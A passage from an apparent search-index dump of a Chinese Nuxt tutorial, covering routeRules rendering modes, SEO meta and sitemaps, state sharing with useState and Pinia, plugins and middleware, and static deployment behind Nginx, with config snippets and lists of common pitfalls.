需要「同一份产物改配置」的场景 app.config（defineAppConfig） 构建期 ✓ UI 常量（主题色、菜单结构），不可被环境变量覆盖",{"id":132840,"title":17528,"titles":132841,"content":132842,"level":341},"\u002Ftutorials\u002Fnuxt#九渲染模式与-routerules同一站点里不同页面用不同策略",[4558],"前面反复出现「SSR」和「generate」。这一节把它们讲成可以按路径配置的东西：routeRules。",{"id":132844,"title":11786,"titles":132845,"content":132846,"level":357},"\u002Ftutorials\u002Fnuxt#四个开关",[4558,17528],"export default defineNuxtConfig({\n  ssr: true,                                    \u002F\u002F 全站默认：服务端渲染\n  nitro: { prerender: { crawlLinks: true, routes: ['\u002F', '\u002Fabout'] } },   \u002F\u002F 构建期出 HTML\n  routeRules: {\n    '\u002Fadmin\u002F**':    { ssr: false },                     \u002F\u002F 这个子树走纯客户端（SPA）\n    '\u002Fblog\u002F**':     { prerender: true },                \u002F\u002F 构建期生成静态 HTML\n    '\u002Fproducts\u002F**': { swr: 60 },                        \u002F\u002F 缓存 60s，过期后台刷新\n    '\u002Fapi\u002Fsearch':  { cors: true, headers: { 'cache-control': 'no-store' } },\n    '\u002Fold-path':    { redirect: '\u002Fnew-path' },          \u002F\u002F 301（写 { to, code } 改状态码）\n    '\u002Flegacy\u002F**':   { proxy: 'https:\u002F\u002Fold.example.com\u002F**' },\n    '\u002Fprivacy':     { isr: true }                       \u002F\u002F 平台按需 ISR（Vercel\u002FNetlify 等）\n  }\n}) 模式 配置 首屏 HTML 有正文 服务器要跑 Node 适合 SSR 默认（ssr: true） ✓ 要 内容随请求变化、需要 SEO SPA ssr: false（全站或路由级） ✗ 可不要（纯发静态文件时） 后台系统、登录后的界面 SSG nitro.prerender \u002F { prerender: true } ✓ 不要（纯静态） 博客、文档、营销页（本站就是这个模式） SWR { swr: 60 } ✓ 要 内容变化不敏感、想挡住突发流量 ISR { isr: true } ✓ 平台决定 部署在支持按需再生成的托管平台",{"id":132848,"title":12087,"titles":132849,"content":132850,"level":357},"\u002Ftutorials\u002Fnuxt#匹配优先级越具体越优先",[4558,17528],"多条规则命中同一个 URL 时，按路径精确度排序：\u002Fblog\u002Fhello 精确规则 > \u002Fblog\u002F** > \u002F**。所以「给全站设默认，再覆盖某几个路径」是能成立的——但反着写会翻车： routeRules: {\n  '\u002F**': { ssr: false },              \u002F\u002F ← 全站关掉 SSR\n  '\u002Fblog\u002F**': { prerender: true }     \u002F\u002F 仍然会预渲染，但 ssr:false 让产物是空壳！\n} 这类组合的后果很隐蔽：预渲染出来的是不含正文的 HTML。示例 07 的「URL 判定器」就是让你手动改一下顺序、亲眼看结论怎么翻转。",{"id":132852,"title":12164,"titles":132853,"content":132854,"level":357},"\u002Ftutorials\u002Fnuxt#什么时候真的需要-ssr",[4558,17528],"三条判断，任何一条成立才值得留服务端： 未登录用户能看到的内容需要被索引（首屏正文必须在 HTML 里）。 数据必须按请求计算（价格、库存、权限）。 首屏时间对业务指标有直接影响，且接口足够快。 都不成立时 ssr: false 更省：部署是纯静态文件、服务器不跑 Node，也不会遇到「SSR 阶段 window is not defined」（第五章第 2 条）。",{"id":132856,"title":4796,"titles":132857,"content":132858,"level":357},"\u002Ftutorials\u002Fnuxt#️-本章的坑-8",[4558,17528],"1. ssr: false 之后 SEO 归零。 产物 HTML 是空壳。别以为「反正有水合」——爬虫与分享卡片读的是源码（示例 01 有对照）。 2. prerender: true + ssr: false 同时命中。 生成空壳静态页（上面那段代码）。要么去掉 \u002F**: { ssr: false }，要么给需要预渲染的路径显式合并写 { prerender: true, ssr: true }。 3. 预渲染没覆盖所有路由。 crawlLinks 只沿页面里的 \u003CNuxtLink> 爬。没有链接指向的页面（只在 sitemap 里、或列表第二页）不会生成，generate 后访问就是 404。解法：nitro.prerender.routes 显式列，或让列表页给出全部链接。本站的工具页是手工维护一份清单进 routes 的（nuxt.config.ts 里的 TOOL_PRERENDER_ROUTES）。 4. 预渲染阶段接口必须可用。 generate 时页面里每个 useFetch 都会真的执行。若接口依赖登录态或外部服务，构建要么失败、要么把「未登录」的空数据固化进 HTML。这类页面改成 { ssr: false } 或 { prerender: false }。 5. swr\u002Fisr 依赖缓存存储。 默认是内存缓存，多实例部署各节点一份、命中率与一致性都差。要一致请配 nitro: { storage: { cache: … } }（Redis 等）。 6. 动态路由的预渲染要自己提供数据源。 原则：能爬到的就不用列，爬不到的才列。 nitro: {\n  prerender: {\n    crawlLinks: true,\n    routes: async () => {\n      const { data } = await $fetch('https:\u002F\u002Fapi.example.com\u002Fsitemap-urls')\n      return data.map((u) => u.path)\n    }\n  }\n} 7. routeRules 里写的 headers 与 Nginx 设的头冲突。 最终结果取决于先后。排查顺序：先 curl -I 看框架输出，再看 Nginx add_header。 8. 渲染模式与服务端中间件的期望不一致。 { ssr: false } 的路由上，服务端不会为页面渲染执行（但 \u002Fapi 仍会）。别指望用服务端中间件给 SPA 页面「注入用户信息」。 9. 以为 routeRules 能改客户端行为。 它管的是服务端\u002F构建阶段的策略；组件里的 onMounted 照旧只在浏览器跑。",{"id":132860,"title":17535,"titles":132861,"content":132862,"level":357},"\u002Ftutorials\u002Fnuxt#附routerules-常用字段",[4558,17528],"字段 类型 作用 ssr boolean 该路径是否服务端渲染 prerender boolean 构建期生成静态 HTML swr number\u002Ftrue stale-while-revalidate 缓存秒数 isr boolean\u002Fnumber 增量静态再生成（托管平台） cache { maxAge, swr, group, variables } 更细粒度的缓存控制 redirect string 或 { to, code } 重定向（默认 301） proxy string 反向代理（老站合并常用） headers object 加响应头（cache-control、CSP） cors boolean 允许跨域 static boolean 当静态文件处理 noIndex boolean 响应加 x-robots-tag: noindex payloadExtraction boolean payload 拆成 _payload.json（关了就内联进 HTML）",{"id":132864,"title":12618,"titles":132865,"content":132866,"level":341},"\u002Ftutorials\u002Fnuxt#十seo-与-head标题metasitemap结构化数据",[4558],"内容站的成败往往不在交互，而在「搜索引擎和分享卡片怎么看你」。Nuxt 把 \u003Chead> 管理做成了组合式函数，SSR 阶段就会写进 HTML——这正是静态站点也能拿 SEO 的原因。",{"id":132868,"title":17539,"titles":132869,"content":132870,"level":357},"\u002Ftutorials\u002Fnuxt#标题与描述useseometa",[4558,12618],"\u003Cscript setup>\nconst page = \u002F* … 取到的文档 … *\u002F\n\nuseSeoMeta({\n  title: page.title,                        \u002F\u002F 浏览器标签与搜索结果标题\n  description: page.description,            \u002F\u002F 搜索结果里的摘要\n  ogTitle: page.title,                      \u002F\u002F 社交平台卡片\n  ogDescription: page.description,\n  ogImage: '\u002Fimg\u002F' + page.category + '-cover.svg',\n  ogType: 'article',\n  twitterCard: 'summary_large_image',\n  robots: 'index, follow'\n})\n\n\u002F\u002F 需要更底层控制（link、script、html 属性）时用 useHead\nuseHead({\n  link: [{ rel: 'canonical', href: 'https:\u002F\u002Fyour-site.com\u002Ftutorials\u002Fvue3' }],\n  htmlAttrs: { lang: 'zh-CN' },\n  script: [{ src: 'https:\u002F\u002F…', defer: true }]\n})\n\u003C\u002Fscript> useSeoMeta 与 useHead 的关系：前者是后者的语义化包装（自动把 title\u002Fdescription 写成对应的 \u003Ctitle>、\u003Cmeta name=\"description\">、og: 与 twitter:）。优先用 useSeoMeta，写不出来的字段再回 useHead。",{"id":132872,"title":17541,"titles":132873,"content":132874,"level":357},"\u002Ftutorials\u002Fnuxt#全站默认值放在-appvue-或配置里",[4558,12618],"export default defineNuxtConfig({\n  app: {\n    head: {\n      charset: 'utf-8',\n      viewport: 'width=device-width, initial-scale=1',\n      link: [{ rel: 'icon', href: '\u002Ffavicon.ico' }],\n      meta: [{ name: 'theme-color', content: '#0969da' }]\n    }\n  },\n  site: {\n    url: 'https:\u002F\u002Fyour-site.com',    \u002F\u002F 绝对地址的基准：sitemap \u002F og:url \u002F JSON-LD 都读它\n    name: '站名'\n  }\n}) site.url 是最容易被遗忘的一项：默认值是 http:\u002F\u002Flocalhost:3000，忘记改就会生成一份全是本地地址的 sitemap，且 og:url 也错（本站在 nuxt.config.ts 里给它写了显眼注释）。",{"id":132876,"title":13004,"titles":132877,"content":132878,"level":357},"\u002Ftutorials\u002Fnuxt#sitemap-与-robots",[4558,12618],"npm install @nuxtjs\u002Fsitemap export default defineNuxtConfig({\n  modules: ['@nuxtjs\u002Fsitemap'],\n  site: { url: 'https:\u002F\u002Fyour-site.com' },\n  sitemap: {\n    autoLastmod: true,\n    exclude: ['\u002Fadmin\u002F**', '\u002Fprivate\u002F**', '\u002Ftools\u002F**?*_=*']\n  }\n}) robots.txt 建议直接放 public\u002Frobots.txt（静态、零成本）。要按环境屏蔽预发站，就在 public\u002Frobots.txt 里写 Disallow: \u002F，或用中间件在预发域名返回不同内容——别依赖 \u003Cmeta name=\"robots\"> 拦已泄露的 URL，它要求页面能被访问到才生效。",{"id":132880,"title":13121,"titles":132881,"content":132882,"level":357},"\u002Ftutorials\u002Fnuxt#结构化数据json-ld",[4558,12618],"\u003Cscript setup>\nuseHead({\n  script: [{\n    type: 'application\u002Fld+json',\n    innerHTML: JSON.stringify({\n      '@context': 'https:\u002F\u002Fschema.org',\n      '@type': 'TechArticle',\n      headline: page.title,\n      datePublished: page.date,\n      author: { '@type': 'Organization', name: '码上智能' }\n    })\n  }]\n})\n\u003C\u002Fscript> innerHTML 一定要 JSON.stringify（对象直接传会被转成 [object Object]）。上线前拿 Google 的「富媒体测试」和「网址检查」各跑一次，比自查有效。",{"id":132884,"title":13263,"titles":132885,"content":132886,"level":357},"\u002Ftutorials\u002Fnuxt#防主题闪烁一段内联脚本",[4558,12618],"有暗色模式的站点会遇到 FOUC：预渲染的 HTML 里没有 data-theme，暗色用户先看到一帧亮色。标准解法是在 \u003Chead> 里放一段内联同步脚本，早于首次绘制把主题写进 \u003Chtml>： \u003Cscript setup>\nuseHead({\n  script: [{\n    tagPosition: 'head',\n    innerHTML: `(function(){try{var t=localStorage.getItem('site-theme');` +\n      `if(t!=='dark'&&t!=='light'){t=matchMedia&&matchMedia('(prefers-color-scheme: dark)').matches?'dark':'light';}` +\n      `document.documentElement.setAttribute('data-theme',t);}catch(e){}})();`\n  }]\n})\n\u003C\u002Fscript> 这段是本站 app\u002Fapp.vue 里真实在用的代码。要点：必须在 head、必须内联、必须 try\u002Fcatch（隐私模式读 localStorage 会抛）。",{"id":132888,"title":4796,"titles":132889,"content":132890,"level":357},"\u002Ftutorials\u002Fnuxt#️-本章的坑-9",[4558,12618],"1. useSeoMeta 写在异步分支里。 它必须在 setup 同步执行期调用。放进 if\u002FonMounted 里，SSR 出的 HTML 就没有这个 meta（客户端才补上，爬虫看不到）。 2. 动态标题依赖客户端数据。 正确顺序是：await useFetch() 拿到数据 → 立刻 useSeoMeta({ title: data.title })。数据没在服务端取到，标题就只能是默认值。 3. site.url 忘了改。 生成的是 localhost 的绝对地址（本章「全站默认值」那节的 site 配置就是它）。 4. og:image 用了相对路径。 平台抓卡片时不会拼你的域名，必须给绝对 URL：useSeoMeta({ ogImage: config.siteUrl + cover }) 或让 site.url 帮你补全（新版本会补，但要实测确认，别赌）。 5. 预渲染页面的 meta 被固化。 generate 时每个页面各算各的 head，运行时改不了。若 meta 依赖「当前用户」，这类页面就不该预渲染。 6. 同一 key 的 head 重复注入。 在循环\u002F子组件里调用 useHead 会产生多个 \u003Ctitle>。全站级的写在 app.vue，页面级的写在页面里。 7. 用 \u003CClientOnly> 包住正文。 屏蔽闪烁的目的若是「不让爬虫看到」，那 SEO 目标就同时落空了。正文要 SSR，只把「依赖浏览器环境的按钮\u002F图表」放进 \u003CClientOnly>。 8. robots 与 noindex 打架。 网关加了 X-Robots-Tag: noindex，页面 meta 却写 index——头信息优先。排查索引问题先看 curl -I。",{"id":132892,"title":13484,"titles":132893,"content":132894,"level":357},"\u002Ftutorials\u002Fnuxt#附head-相关-api",[4558,12618],"API 用途 useHead(input) 任意 head 标签（link\u002Fscript\u002Fstyle\u002FhtmlAttrs） useSeoMeta(input) title\u002Fdescription\u002Fog\u002Ftwitter 的语义化写法 useServerSeoMeta 同上，但明确只在服务端输出（减小客户端体积） setHead \u002F head（app.vue 里） 全站默认 defineCachedEventHandler + cache 让带 meta 的 HTML 也进缓存 useRequestURL() 拿到当前请求的绝对 URL（canonical \u002F og:url 用）",{"id":132896,"title":17548,"titles":132897,"content":132898,"level":341},"\u002Ftutorials\u002Fnuxt#十一状态共享usestate-与-pinia",[4558],"《Vue 3 教程》第十五章讲了 Pinia 本身；这里只讲在 Nuxt 里用它的三件额外事，以及一个 Nuxt 特有的轻量替代品。",{"id":132900,"title":17551,"titles":132901,"content":132902,"level":357},"\u002Ftutorials\u002Fnuxt#先试-usestatessr-安全的极简共享状态",[4558,17548],"\u002F\u002F 任意组件\u002F组合式函数里\nconst panel = useState('side-panel', () => ({ open: false, tab: 'toc' }))\npanel.value.open = true      \u002F\u002F 全站共享，且服务端每次请求各自一份（不会串号） useState 的数据会进 payload：服务端写的值，客户端水合时直接复用，不重复请求。它适合「一次会话内的界面状态」：侧栏开合、当前筛选、向导步骤。不适合需要 getter\u002Faction\u002Fdevtools 的复杂逻辑。 三条限制要清楚：值必须可序列化（不能存函数、DOM 引用、类实例）；key 是全局的（撞 key 就撞数据）；它不是持久化，刷新就没了（要落盘自己配 watch + localStorage，Vue 教程第十三章的 useLocalStorage 正合适）。",{"id":132904,"title":13673,"titles":132905,"content":132906,"level":357},"\u002Ftutorials\u002Fnuxt#pinia装进-nuxt-的三步",[4558,17548],"npm install pinia @pinia\u002Fnuxt \u002F\u002F nuxt.config.ts\nexport default defineNuxtConfig({ modules: ['@pinia\u002Fnuxt'] }) \u002F\u002F app\u002Fstores\u002Fuser.ts   —— 与《Vue 3 教程》第十五章完全同构\nimport { defineStore } from 'pinia'\n\nexport const useUserStore = defineStore('user', () => {\n  const profile = ref(null)\n  const isLoggedIn = computed(() => !!profile.value)\n\n  async function load() {\n    profile.value = await $fetch('\u002Fapi\u002Fme')        \u002F\u002F SSR 阶段也会执行\n  }\n  function logout() { profile.value = null }\n  return { profile, isLoggedIn, load, logout }\n}) \u003Cscript setup>\nconst user = useUserStore()\nawait user.load()          \u002F\u002F 想让它进 SSR HTML 就在 setup 顶层 await\n\u003C\u002Fscript> defineStore 可以留在 app\u002Fstores\u002F（Nuxt 不自动导入 store，需要 import）；要免 import 就放进 app\u002Fcomposables\u002F 里包一层。",{"id":132908,"title":13950,"titles":132909,"content":132910,"level":357},"\u002Ftutorials\u002Fnuxt#ssr-场景的三条铁律",[4558,17548],"每个请求一个 Pinia 实例。 @pinia\u002Fnuxt 已经做了这件事（插件里 createPinia() 每次请求新建）。你自己在模块顶层创建的普通单例（const cache = new Map()）会跨请求共享——这是 SSR 最危险的一类 bug：A 用户看到了 B 用户的数据。 store 初始化数据要走 useAsyncData\u002FuseState，不要 onMounted。否则服务端渲染时 store 是空的，首屏正文也就是空的。 持久化只在客户端做。localStorage 在服务端不存在，SSR 阶段访问它会报错。用 import.meta.client 守卫： if (import.meta.client) {\n  watch(() => store.theme, (v) => localStorage.setItem('theme', v), { immediate: true })\n} 跨课程提示：上面这个示例属于《Vue 3 教程》。在 Nuxt 里唯一多出来的就是「实例按请求创建」这一层，其余用法不变。",{"id":132912,"title":4796,"titles":132913,"content":132914,"level":357},"\u002Ftutorials\u002Fnuxt#️-本章的坑-10",[4558,17548],"1. 模块顶层的可变单例。 const state = reactive({ list: [] }) 写在 \u003Cscript> 顶层或某个 utils 文件里，SSR 下所有请求共用 → 数据串号。放进 useState() \u002F defineStore \u002F 或 defineNuxtPlugin 内部创建。 2. useState 存了不可序列化的东西。 存 class 实例、函数、DOM 元素 → payload 里丢失或报错，表现为「服务端有值、客户端 undefined」。只存纯数据。 3. localStorage 在 SSR 阶段裸奔。 window is not defined \u002F localStorage is not defined。三种正解：import.meta.client 判断、{ server: false }、\u003CClientOnly>。 4. 忘记水合导致「闪一下」。 服务端把 store 初始值写进 payload，若客户端又在 onMounted 里重新请求一遍，界面会出现「旧值 → 空 → 新值」。改成 setup 顶层 await 一次。 5. store 里直接读 useRoute()。 可以，但要在 setup 上下文中；且注意服务端阶段的 route 与客户端阶段可能不同（重定向后）。需要「进入页面时的路由」请存进局部变量。 6. $reset() 在 setup store 里不存在。 与《Vue 3 教程》第十五章第 3 条一样：自己写一个 $reset() 返回。 7. 把 SSR 阶段取的用户数据留在 Pinia 里返回给别的用户。 严格来说这是第 1 条的后果，但值得单列：任何「按请求的状态」都必须由 Pinia\u002FuseState 托管，不能由模块变量托管。上线前用两个不同账号并发压一次，看有没有串。",{"id":132916,"title":14170,"titles":132917,"content":132918,"level":357},"\u002Ftutorials\u002Fnuxt#附共享状态选型",[4558,17548],"需求 用什么 一次访问内的界面状态（侧栏、筛选、步骤） useState 需要 getter\u002Faction\u002F调试面板的业务状态 Pinia 服务端数据缓存与刷新 useFetch \u002F useAsyncData（第五章）+ getCachedData 只有当前组件用 ref \u002F reactive 父到子 \u002F 子到父 props \u002F emit 主题、语言这类环境值 useState 或 app.config（构建期常量） URL 能表达的状态（分页、tab、关键词） 路由 query",{"id":132920,"title":14257,"titles":132921,"content":132922,"level":341},"\u002Ftutorials\u002Fnuxt#十二插件中间件与组合式函数挂到生命周期上",[4558],"这三样是 Nuxt 里「组织代码」的主要手段，分工很清楚： 手段 触发时机 典型用途 路由中间件 app\u002Fmiddleware\u002F 每次导航（客户端）\u002F 服务端渲染前 鉴权、语言切换、埋点重定向 Nuxt 插件 app\u002Fplugins\u002F 应用初始化（每个请求各跑一次） 注册 $http、注入全局样式逻辑、接第三方 SDK 组合式函数 app\u002Fcomposables\u002F 你在组件里调用时 复用「状态 + 逻辑」 服务端中间件 server\u002Fmiddleware\u002F 每个进入服务端的请求 日志、CORS、请求计时",{"id":132924,"title":14341,"titles":132925,"content":132926,"level":357},"\u002Ftutorials\u002Fnuxt#路由中间件",[4558,14257],"\u002F\u002F app\u002Fmiddleware\u002Fauth.ts   （文件名即中间件名：definePageMeta({ middleware: 'auth' })）\nexport default defineNuxtRouteMiddleware((to) => {\n  const user = useState('user', () => null)\n  if (!user.value && to.meta.requiresAuth !== false) {\n    return navigateTo(`\u002Flogin?redirect=${to.fullPath}`)     \u002F\u002F 返回跳转 = 拦截\n  }\n  \u002F\u002F 返回 undefined 放行；return abortNavigation('消息') 直接进错误页\n}) 三种注册方式： definePageMeta({ middleware: ['auth'] })            \u002F\u002F 命名中间件（app\u002Fmiddleware\u002F 里的文件）\ndefinePageMeta({ middleware: [(to) => { \u002F* … *\u002F }] }) \u002F\u002F 行内\ndefinePageMeta({ middleware: (to) => { if (to.meta.globalSkip) return } })  \u002F\u002F 单个页面加全局逻辑\n\n\u002F\u002F 全局中间件（每个路由都跑）：文件名加 .global.ts\n\u002F\u002F app\u002Fmiddleware\u002Flogger.global.ts 异步中间件直接 async + await 即可。顺序：全局在前、命名在后、行内最后；多个中间件里只要有一个返回了跳转，后面的就不再执行。",{"id":132928,"title":14564,"titles":132929,"content":132930,"level":357},"\u002Ftutorials\u002Fnuxt#nuxt-插件提供全局能力",[4558,14257],"\u002F\u002F app\u002Fplugins\u002Fhttp.ts\nexport default defineNuxtPlugin(() => {\n  const config = useRuntimeConfig()\n  const http = $fetch.create({ baseURL: config.public.apiBase, retry: 1 })\n  http.interceptors.request.use((ctx) => { \u002F* 统一加 token *\u002F })\n  return { provide: { http } }          \u002F\u002F 组件里：const { $http } = useNuxtApp()\n}) \u002F\u002F app\u002Fplugins\u002Ftrack.ts —— 需要在导航上挂钩子的插件\nexport default defineNuxtPlugin((nuxtApp) => {\n  nuxtApp.hook('page:start', (comp) => { \u002F* 页面开始渲染 *\u002F })\n  nuxtApp.hook('page:finish', () => { \u002F* 页面渲染完，做埋点 *\u002F })\n  nuxtApp.hook('app:mounted', () => { \u002F* 仅客户端 *\u002F })\n}) 常用钩子：app:created、app:mounted、page:start、page:finish、vue:setup（这个钩子里才能用 onServerPrefetch）、meta:watch。 插件按请求执行（SSR 下每个请求都跑一遍）。所以：不要在插件外面创建可变单例；注册全局样式\u002F第三方 SDK 时注意别重复挂载；重逻辑放 useState\u002FuseAsyncData 里让 Nuxt 管缓存。 组合式函数与自动导入（app\u002Fcomposables\u002FuseXxx.ts）的写法和《Vue 3 教程》第十三章完全一致，Nuxt 只多给你一条便利：放进目录就不用 import。",{"id":132932,"title":14818,"titles":132933,"content":132934,"level":357},"\u002Ftutorials\u002Fnuxt#服务端中间件",[4558,14257],"\u002F\u002F server\u002Fmiddleware\u002Ftiming.ts\nexport default defineEventHandler((event) => {\n  const start = Date.now()\n  event.context.requestId = crypto.randomUUID()\n  setHeader(event, 'x-request-id', event.context.requestId)\n  \u002F\u002F 返回值在这里被忽略；要做「响应后」的事用 event.waitUntil 或钩子\n})",{"id":132936,"title":4796,"titles":132937,"content":132938,"level":357},"\u002Ftutorials\u002Fnuxt#️-本章的坑-11",[4558,14257],"1. 全局中间件命名忘加 .global。 app\u002Fmiddleware\u002Fauth.ts 只在被 definePageMeta 引用时生效。想全站生效请 auth.global.ts。 2. 中间件里 await 了但没 return 跳转。 navigateTo('\u002Flogin') 不加 return，导航会继续（表现为「跳了又跳回来」）。中间件的返回值就是控制流。 3. 中间件里调 useFetch 报错。 中间件不在组件 setup 上下文里，某些组合式（useState 部分用法、useNuxtApp 的组件级 API）不可用。要取数据请放页面里，或在中间件用 $fetch。 4. 插件里创建可变单例。 「第一个用户设置了主题，第二个用户的主题跟着变」就是它（第十一章第 1 条）。 5. 第三方 SDK 在 SSR 阶段被 import 就炸。 它一加载就读 window。解法：动态 await import() 并只在客户端执行（if (import.meta.client)），或 plugins 里用 apply: 'client'（写法随版本略有差异，实测为准）。 6. 客户端与服务端各跑一遍插件，导致重复初始化。 日志里看到同一个 SDK 初始化两次——一次是 SSR、一次是水合，属正常；真需要只跑一次就用 callOnce。 7. 插件文件名带连字符，注入的 key 变了。 plugins\u002Fmy-http.ts 提供 $http 时，key 由你 provide 的对象决定，跟文件名无关；但用默认导出名（export default defineNuxtPlugin(...) 里返回 { provide: { mySdk } }）时请显式命名，别指望自动推断。 8. 服务端中间件里 return 了响应。 中间件的返回被忽略（与 h3 那套一致），想短路请 throw createError(...)。",{"id":132940,"title":15036,"titles":132941,"content":132942,"level":357},"\u002Ftutorials\u002Fnuxt#附生命周期顺序一次页面访问",[4558,14257],"阶段 服务端 客户端 1 全局中间件 → 页面中间件 全局中间件 → 页面中间件 2 app:created（插件按请求执行） 插件（水合阶段不重复创建应用，但 setup 钩子会跑） 3 组件 setup 顶层 await（useFetch\u002Fstore.load） 组件 setup 4 page:start → 渲染 HTML → page:finish 水合 → app:mounted → onMounted 5 响应带 payload 发出 后续导航：组件复用，onMounted 不再跑（除非 key 变）",{"id":132944,"title":15128,"titles":132945,"content":132946,"level":341},"\u002Ftutorials\u002Fnuxt#十三部署静态产物子路径与-nginx",[4558],"本站就是这个模式的真实案例：Nuxt 生成的静态产物交给已有的 Docker Nginx 托管，挂在 \u002Fnuxt\u002F 子路径下。下面把整条链路和踩过的坑一次讲完。",{"id":132948,"title":15142,"titles":132949,"content":132950,"level":357},"\u002Ftutorials\u002Fnuxt#路线选择",[4558,15128],"目标 命令 产物 服务器要什么 纯静态站点（内容站、文档、营销页） nuxt generate .output\u002Fpublic\u002F Nginx \u002F OSS \u002F 任意静态托管 需要按请求渲染或 \u002Fapi 接口 nuxt build .output\u002F（含 server\u002Findex.mjs） Node 22+ 进程，或 Docker 托管平台（Vercel \u002F Netlify \u002F Cloudflare） nuxt build 平台自适应 preset 平台自带 容器化部署 nuxt build + 官方镜像 一个镜像 见本章最后",{"id":132952,"title":15233,"titles":132953,"content":132954,"level":357},"\u002Ftutorials\u002Fnuxt#静态部署完整链路",[4558,15128],"npm run generate          # = nuxt generate，产物在 .output\u002Fpublic 产物形状（本站实测）： .output\u002Fpublic\u002F\n├── index.html\n├── tutorials\u002Fvue3.html           每个路由一个 HTML 文件\n├── tutorials\u002Fvue3\u002F_payload.json  ← 该页的 SSR 数据，水合时复用，不再请求\n├── articles\u002Findex.html\n├── _nuxt\u002F                        打包后的 JS\u002FCSS（带哈希）\n├── img\u002F…  tutorials\u002F…\u002Fdemos\u002F…    来自 public\u002F 的原样文件\n└── 404.html                      预渲染的错误页 子路径部署必须配 app.baseURL。 站点访问地址是 https:\u002F\u002Fsite.com\u002Fnuxt\u002F 时： export default defineNuxtConfig({\n  app: { baseURL: '\u002Fnuxt\u002F' },      \u002F\u002F 注意：首尾都要有斜杠\n  nitro: { prerender: { crawlLinks: true, routes: ['\u002F'] } }\n}) 配了这一行，产物里的 \u003Cscript src>、\u003Clink href>、_payload.json 请求路径、\u003CNuxtLink> 生成的 URL 全部会带上 \u002Fnuxt\u002F 前缀（Vite 的 base 由 app.baseURL 自动推导，不需要重复配）。 这就是本站最容易复发的一次事故：把产物拷到 nginx\u002Fhtml\u002Fnuxt\u002F 目录，但 baseURL 仍是默认的 \u002F，结果 index.html 能返回、资源却去根路径请求 → 白屏 + 一堆 404，看起来像「Nuxt 有问题」。判定方法很简单：查看源码，资源前缀必须和访问前缀一致。示例 08 就是这个检查器。",{"id":132956,"title":15374,"titles":132957,"content":132958,"level":357},"\u002Ftutorials\u002Fnuxt#nginx-配置history-路由-静态产物",[4558,15128],"# 场景：产物在 \u002Fusr\u002Fshare\u002Fnginx\u002Fhtml\u002Fnuxt，站点访问 \u002Fnuxt\u002F\nlocation \u002Fnuxt\u002F {\n  alias \u002Fusr\u002Fshare\u002Fnginx\u002Fhtml\u002Fnuxt\u002F;\n  # 1) 静态文件优先；2) 未知路径回落到本站 index.html；3) 都没有则 404\n  try_files $uri $uri\u002F $uri.html \u002Fnuxt\u002Findex.html;\n}\n\n# 若还需要 Nuxt 的服务端接口（build 模式）\nlocation \u002Fnuxt\u002Fapi\u002F {\n  proxy_pass http:\u002F\u002F127.0.0.1:3000\u002Fapi\u002F;\n  proxy_set_header Host $host;\n  proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;\n  proxy_set_header X-Forwarded-Proto $scheme;\n}\n\n# 缓存策略：带哈希的 JS\u002FCSS 可以长期缓存，HTML 与 payload 不能\nlocation \u002Fnuxt\u002F_nuxt\u002F {\n  expires 1y;\n  add_header Cache-Control \"public, immutable\";\n} 三条要点： try_files 的回落地址必须带子路径（\u002Fnuxt\u002Findex.html），否则刷新子页面时被回落到站点根的那个应用。 _payload.json 与 HTML 不能长期缓存，否则改了内容用户还是旧数据（payload 与页面绑定，版本不一致会导致数据错位）。 alias + try_files 的组合有历史坑：某些 Nginx 版本下 alias 与 try_files $uri\u002F 会 404。若怎么配都不对，改用 root 方案（把产物放到 \u003Croot>\u002Fnuxt\u002F）最稳。",{"id":132960,"title":17569,"titles":132961,"content":132962,"level":357},"\u002Ftutorials\u002Fnuxt#服务端模式部署nuxt-build",[4558,15128],"node .output\u002Fserver\u002Findex.mjs        # 默认 3000\nPORT=8080 NITRO_HOST=0.0.0.0 node .output\u002Fserver\u002Findex.mjs # 单阶段版（简单）；生产建议用多阶段 + nitro 的 docker preset\nFROM node:22-alpine\nWORKDIR \u002Fapp\nCOPY .output .\u002F\nENV NITRO_HOST=0.0.0.0 PORT=3000\nEXPOSE 3000\nCMD [\"node\", \".\u002Fserver\u002Findex.mjs\"] nuxt build 模式下别忘了：NITRO_...、NUXT_... 环境变量在容器里注入（第八章），别把 .env 拷进镜像。",{"id":132964,"title":15632,"titles":132965,"content":132966,"level":357},"\u002Ftutorials\u002Fnuxt#部署前逐项核对",[4558,15128],"检查 命令\u002F方法 资源前缀正确 查看产物 index.html 源码，\u003Cscript src> 前缀 = 访问前缀 全部路由都生成了 `find .output\u002Fpublic -name '*.html' 无未预渲染的 404 逐个访问列表页里的链接；sitemap 条数一致 密钥没进产物 grep -r \"sk-|password\" .output\u002Fpublic sitemap \u002F robots 域名正确 curl https:\u002F\u002Fsite.com\u002Fnuxt\u002Fsitemap.xml history 刷新正常 直接访问 \u002Fnuxt\u002Ftutorials\u002Fvue3 回车 meta 是真实内容 `curl -s URL",{"id":132968,"title":4796,"titles":132969,"content":132970,"level":357},"\u002Ftutorials\u002Fnuxt#️-本章的坑-12",[4558,15128],"1. baseURL 与访问路径不一致（本站真实事故，上面整段就是为它写的）。 2. 子路径少写一个斜杠。 '\u002Fnuxt' 会拼成 \u002Fnuxtindex.js 这种东西。首尾都要斜杠：'\u002Fnuxt\u002F'。 3. generate 后仍然有服务端接口需求。 静态产物里的 \u002Fapi\u002F* 不存在。需要接口就换 build 模式或把接口挪到别的服务 + Nginx 反代。 4. HTML 被 CDN 缓存。 改了内容线上不变，还「有时对有时错」。给 HTML 明确 Cache-Control: no-cache，带哈希的 _nuxt\u002F* 才用长期缓存。 5. 404.html 没接上。 Nginx 需要 error_page 404 \u002Fnuxt\u002F404.html;（配合 internal），否则未知路径回落 index 时返回 200（软 404，对 SEO 有害）。软 404 检查方法：curl -I https:\u002F\u002Fsite\u002Fnuxt\u002F不存在，状态码必须是 404。 6. 环境变量在构建期固化。 public.* 值改不了「一份产物跑多环境」，只能重新 generate（第八章第 6 条）。 7. 本地 nuxt preview 正常，线上不同步。 preview 的 base 处理与真 Nginx 不完全一样。最终以「产物直接放进目标目录」为准做一次真机验证。 8. Windows 上构建的大小写问题。 本地能 build 过、Linux 容器里失败，八成是 import 路径大小写（《Vue 3 教程》第十八章第 1 条同款）。",{"id":132972,"title":15826,"titles":132973,"content":132974,"level":357},"\u002Ftutorials\u002Fnuxt#附常用部署配置速查",[4558,15128],"配置 作用 app: { baseURL: '\u002Fnuxt\u002F' } 站点访问前缀（资源 + 路由 + payload 全靠它） app: { cdnURL: 'https:\u002F\u002Fcdn.x.com' } 把 _nuxt\u002F* 指到 CDN nitro: { prerender: { crawlLinks, routes, concurrency } } 